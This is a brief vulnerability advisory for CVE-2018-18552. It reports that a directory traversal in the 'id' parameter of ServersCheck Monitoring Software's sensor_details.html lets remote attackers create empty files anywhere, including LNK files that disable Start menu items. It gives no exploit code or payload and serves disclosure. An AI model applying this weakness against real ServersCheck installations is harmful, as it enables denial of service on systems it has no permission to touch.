[Vulnerability Type]
Abitrary File Write


[Affected Component]
"sensor_details.html" webpage the "id" parameter


[CVE Reference]
CVE-2018-18552



[Security Issue]
ServersCheck Monitoring Software allows remote attackers to cause a denial of service (menu functionality loss) by creating an LNK file that
points to a second LNK file, if this second LNK file is associated with a Start menu item. Ultimately, this behavior comes from a Directory Traversal bug
(via the sensor_details.html id parameter) that allows creating empty files in arbitrary directories. 


[Impact]
Denial of Service
